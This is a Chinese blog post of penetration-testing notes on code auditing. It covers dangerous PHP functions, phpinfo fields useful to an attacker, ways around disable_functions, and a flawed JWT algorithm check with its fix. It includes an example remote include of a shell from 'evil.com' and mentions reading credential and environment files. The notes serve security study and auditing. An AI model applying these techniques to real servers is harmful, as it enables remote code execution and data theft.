渗透进阶 · 代码审计

危险函数

  • passthru() 直接输出命令执行的原始结果
  • system() 执行一个外部程序,并显示输出。
  • shell_exec() 执行一个命令并将整个输出以字符串返回
  • dl() 运行时加载 PHP 扩展库
  • mail() 邮件发送
  • putenv() 环境控制

phpinfo.php

  • DOCUMENT_ROOT Web根目录位置
    System, Server API, Loaded Configuration File*
  • System:确认目标是 Linux 还是 Windows,后续命令不同。
  • Server API(如 Apache 2.0 Handler 或 CGI/FPM):影响命令执行方式。
  • Loaded Configuration File:比如 /etc/php/7.4/apache2/php.ini,可以用于寻找日志注入、配置提权。

🔍 3. disable_functions

看这项有没有禁用 system, exec, shell_exec, popen, proc_open 等函数。

  • 如果这些函数全开,那简直就是裸奔。
  • 如果被禁用太多了,可以考虑 LD_PRELOADimap_openFFI 等旁门左道打洞法~

📁 4. open_basedir

是否开启路径限制?如果没开,你可以遍历任意目录(比如 /etc/passwd, /proc/self/environ)。


🌐 5. HTTP Headers

如:

  • $_SERVER['HTTP_USER_AGENT'](可用于日志注入)
  • $_SERVER['HTTP_COOKIE'](绕过某些 WAF 策略)
  • REMOTE_ADDR, SERVER_ADDR, SERVER_PORT(搞内网探测时好用)

🛣 6. include_path

这决定了 include('abc.php') 时的默认查找目录,可以用来搞:

  • LFI 本地包含漏洞
  • auto_prepend_file / auto_append_file 提权

🔗 7. EnvironmentPATH

有时能看到 PATH 里包含了啥路径(像 /usr/bin, /tmp, /home/user/bin),可用于寻找可执行程序或写权限。


💣 8. curl, allow_url_fopen, allow_url_include

  • 如果开启了 allow_url_include,那你甚至可以 include("http://evil.com/shell.txt"),远程执行代码。
  • curl 存在就可以远程下载 payload。

📜 9. 模块信息

比如这些模块:

  • mysqli / pdo_mysql:说明可注入点很可能与数据库交互
  • imap:配合 imap_open() 实现命令执行
  • FFI:可以调用 C 语言库,提权绕 disable_functions
  • soap, xml, zip:有特定的利用链

🔐 10. 上传文件相关

  • file_uploads:是否允许上传
  • upload_tmp_dir:上传文件的临时目录(可打马)
  • upload_max_filesizepost_max_size:控制上传大小限制
  • max_execution_time:避免你上传大文件或打超时 payload 被中断

spel注入,命令执行

python

  • pickle 是 Python 内置的对象序列化模块,但它可以执行任意代码。

JWT伪造相关代码审计

JWT 一般分成三部分(以.分隔):

<Header>.<Payload>.<Signature>

算法降级源码分析

header = jwt.get_unverified_header(token)
**get_unverified_header()** 不会校验签名,所以可能会被攻击者伪造内容,如alg none 攻击
signature_algorithm = header['alg']
重大安全隐患是:“信任用户提供的签名算法”
payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
不应该如此写,应用白名单列表限制算法,防止空算法等

修复
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"]) username = payload['username'] flag = self.db_lookup(username, "flag")

posted @ 2025-04-16 13:46  Xia0_0  阅读(45)  评论(0)    收藏  举报